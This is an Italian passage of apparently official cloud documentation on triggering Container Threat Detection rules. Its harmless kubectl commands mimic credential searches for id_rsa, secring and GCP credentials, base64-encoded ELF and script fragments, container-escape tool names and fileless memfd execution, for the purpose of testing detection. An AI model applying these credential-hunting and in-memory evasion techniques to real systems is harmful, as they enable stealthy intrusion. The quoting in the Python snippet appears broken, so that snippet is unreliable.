Verifica di Container Threat Detection

Questa pagina spiega come verificare che Container Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, è necessario abilitarlo nelle impostazioni dei servizi di Security Command Center.

Prima di iniziare

Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta Utilizzare una versione GKE supportata.

Attivare i rilevatori

I seguenti rilevatori sono disattivati per impostazione predefinita:

  • Added Binary Executed
  • Added Library Loaded
  • Credential Access: Find Google Cloud Credentials
  • Defense Evasion: Launch Code Compiler Tool In Container
  • Execution: Program Run with Disallowed HTTP Proxy Env
  • Exfiltration: Launch Remote File Copy Tools in Container

Per testare questi rilevatori, devi abilitarli esplicitamente:

  1. Controlla lo stato del rilevatore:

    export PROJECT=PROJECT_ID
    gcloud alpha scc settings services describe \
        --service=CONTAINER_THREAT_DETECTION \
        --project=${PROJECT}
    
  2. Attiva il rilevatore Added Binary Executed:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_BINARY_EXECUTED \
        --project=${PROJECT}
    
  3. Attiva il rilevatore Added Library Loaded:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=ADDED_LIBRARY_LOADED \
        --project=${PROJECT}
    
  4. Attiva il rilevatore Credential Access: Find Google Cloud Credentials:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=FIND_GCP_CREDENTIALS \
        --project=${PROJECT}
    
  5. Attiva il rilevatore Execution: Program Run with Disallowed HTTP Proxy Env:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
        --project=${PROJECT}
    
  6. Attiva il rilevatore Exfiltration: Launch Remote File Copy Tools in Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
        --project=${PROJECT}
    
  7. Attiva il rilevatore Defense Evasion: Launch Code Compiler Tool In Container:

    gcloud alpha scc settings services modules enable \
        --service=CONTAINER_THREAT_DETECTION \
        --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
        --project=${PROJECT}
    

Imposta le variabili di ambiente

Per testare i rilevatori, utilizzi la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.

  1. Vai alla Google Cloud console.

    Vai alla console Google Cloud

  2. Seleziona il progetto che contiene il contenitore che vuoi utilizzare per il test.

  3. Fai clic su Attiva Cloud Shell.

  4. In Cloud Shell, imposta le variabili di ambiente.

    1. La zona in cui si trova il cluster:

      export ZONE=CLUSTER_ZONE
      
    2. Il progetto in cui si trova il contenitore:

      export PROJECT=PROJECT_ID
      
    3. Il nome del cluster:

      export CLUSTER_NAME=CLUSTER_NAME
      

Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di Container Threat Detection.

File binario aggiuntivo eseguito

Per attivare un risultato Programma binario aggiuntivo eseguito, rilascia un binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia /bin/ls in un'altra posizione e poi la esegue. L'esecuzione del file binario è imprevista perché la copia del file binario non faceva parte dell'immagine container originale, anche se l'immagine si trova su Ubuntu 24.04 e i container devono essere immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia un file binario ed eseguilo:

    • Nodo x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Questa procedura di test dovrebbe creare un risultato Binario aggiunto eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di tipo Binario aggiunto eseguito. Per visualizzare tutti i risultati di Added Binary Executed durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Libreria aggiuntiva caricata

Per attivare un risultato Libreria aggiuntiva caricata, rilascia una libreria nel contenitore e caricala. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /lib/x86_64-linux-gnu/libc.so.6 in un'altra posizione e poi la carica utilizzando ld. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se questa immagine si trova su Ubuntu 24.04 e i container sono immutabili.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia una libreria e utilizza ld per caricarla:

    • Nodo x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Nodo ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Questa procedura di test dovrebbe creare un risultato Libreria aggiunta caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati di Added Library Loaded. Per visualizzare tutti i risultati caricati della libreria aggiunta durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Comando e controllo: strumento di steganografia rilevato

Per attivare un risultato Command and Control: Steganography Tool Detected (Anteprima), all'interno di un container deve essere eseguito un binario con funzionalità di manipolazione dei file coerenti con gli strumenti di steganografia. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in steghide (o un altro strumento di steganografia come stegano). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di preparare un contenitore per nascondere o estrarre dati, potenzialmente per scopi dannosi.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di steganografia come steghide:

    • Nodo x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Nodo ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Questa procedura di test crea un risultato Command and Control: Steganography Tool Detected che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: trova Google Cloud Credenziali

Per attivare un risultato Credential Access: Find Google Cloud Credentials, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in grep. L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di una forma di Google Cloud credenziali. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare le credenziali di Google Cloud .

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • Nodo ARM:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Questa procedura di test dovrebbe creare un risultato Credential Access: Find Google Cloud Credentials che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso alle credenziali: ricognizione chiave GPG

Per attivare un risultato Credential Access: GPG Key Reconnaissance, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in find (o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare le chiavi di sicurezza GPG.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      
    • Nodo ARM:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring"
      

Questa procedura di test dovrebbe creare un risultato Credential Access: GPG Key Reconnaissance che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Accesso con credenziali: cerca chiavi private o password

Per attivare un risultato Credential Access: Search Private Keys or Passwords, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in find (o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di individuare informazioni sensibili come chiavi private o password all'interno di un ambiente containerizzato.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      
    • Nodo ARM:

      tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find id_rsa"
      

Questa procedura di test dovrebbe creare un risultato Credential Access: Search Private Keys or Passwords che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: righe di comando del file ELF Base64

Per attivare un risultato Defense Evasion: Base64 ELF File Command Line, un processo deve avere base64 come argomento e f0VMRgIB come argomento che è la forma con codifica base64 di ELF. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. base64 viene quindi eseguito con gli argomenti -d e f0VMRgIB. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "base64 -d f0VMRgIB"
      

Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center. Vengono creati due risultati perché sia il comando bash -c iniziale sia l'esecuzione del comando base64 -d soddisfano i criteri di ricerca.

Evasione della difesa: script Python con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed, un processo deve avere echo o base64 come argomento e aW1wb3J0IH come argomento, che è la forma con codifica base64 di python -c. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo viene quindi eseguito con l'argomento aW1wb3J0IH. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo aW1wb3J0IH"
      

Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Python Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione della difesa: script shell con codifica Base64 eseguito

Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed, un processo deve avere echo o base64 come argomento e IyEvYmluL2Jhc2gK come argomento, che è la forma con codifica base64 di #!/bin/bash. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo viene quindi eseguito con l'argomento IyEvYmluL2Jhc2gK. Questa azione è contrassegnata come sospetta perché imita il comportamento osservato quando si tenta di decodificare dati binari per eseguire codice dannoso.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario dello strumento di ricerca come find con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      
    • Nodo ARM:

      tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "echo IyEvYmluL2Jhc2gK"
      

Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Shell Script Executed che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Evasione delle difese: avvia strumento di compilazione codice nel container

Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container (Anteprima), uno strumento di compilazione del codice deve essere eseguito all'interno di un container. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls e lo rinomina in gcc10 (o in un altro compilatore come clang). Questo comportamento viene segnalato come sospetto perché può indicare un tentativo di compilare ed eseguire codice dannoso all'interno del contenitore per eludere il rilevamento o modificarne il comportamento.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Esegui un binario del compilatore come gcc10 con gli argomenti appropriati:

    • Nodo x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Nodo ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool In Container che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: file binario aggiuntivo dannoso eseguito

Per attivare un'esecuzione: è stato aggiunto il risultato File binario dannoso eseguito, rilascia un file binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, crea un file dannoso simulato e lo esegue. L'esecuzione del file binario è inattesa perché il file binario dannoso simulato non faceva parte dell'immagine del container originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia il file binario EICAR ed eseguilo:

    • Nodo x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Nodo ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: aggiunto binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection filtra temporaneamente i risultati Esecuzione: aggiunto binario dannoso eseguito. Per visualizzare tutti i risultati di Esecuzione: file binario aggiuntivo dannoso eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test al nome del container o del pod, come nell'esempio.

Esecuzione: container escape

Per attivare un'esecuzione: Container Escape finding, inserisci un file binario nel tuo container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia /bin/ls in un'altra posizione, la rinomina in uno strumento sospetto (botb-linux-amd64) e lo esegue con argomenti aggiuntivi. Questa azione è considerata sospetta perché questa esecuzione simula un comportamento coerente con un tentativcontainer escapeer.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Rilascia un file binario dello strumento di exploit del contenitore come botb-linux-amd64 ed eseguilo:

    • Nodo x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Nodo ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Questa procedura di test dovrebbe creare un risultato Esecuzione: Container Escape che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione senza file in /memfd:

Per attivare un risultato Execution: Fileless Execution in /memfd:, deve essere eseguito un processo dal file system in memoria /memfd:. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls viene copiata in un file anonimo in /memfd:. Viene quindi eseguito il binario copiato. L'esecuzione di un file binario in /memfd: viene segnalata come sospetta perché imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti basati su file.

  1. Imposta le variabili di ambiente.

  2. Utilizza Cloud Shell per accedere al control plane del cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crea un container con privilegi e apri bash per eseguire i comandi:

    • Nodo x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      
    • Nodo ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open("/bin/ls",'rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create("", 0)
      fname = "/proc/self/fd/{}".format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ["/bin"]
      os.execve(fname, args, os.environ)"
      

Questa procedura di test dovrebbe creare un risultato Execution: Fileless Execution in /memfd: che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.

Esecuzione: esecuzione della vulnerabilità Ingress Nightmare

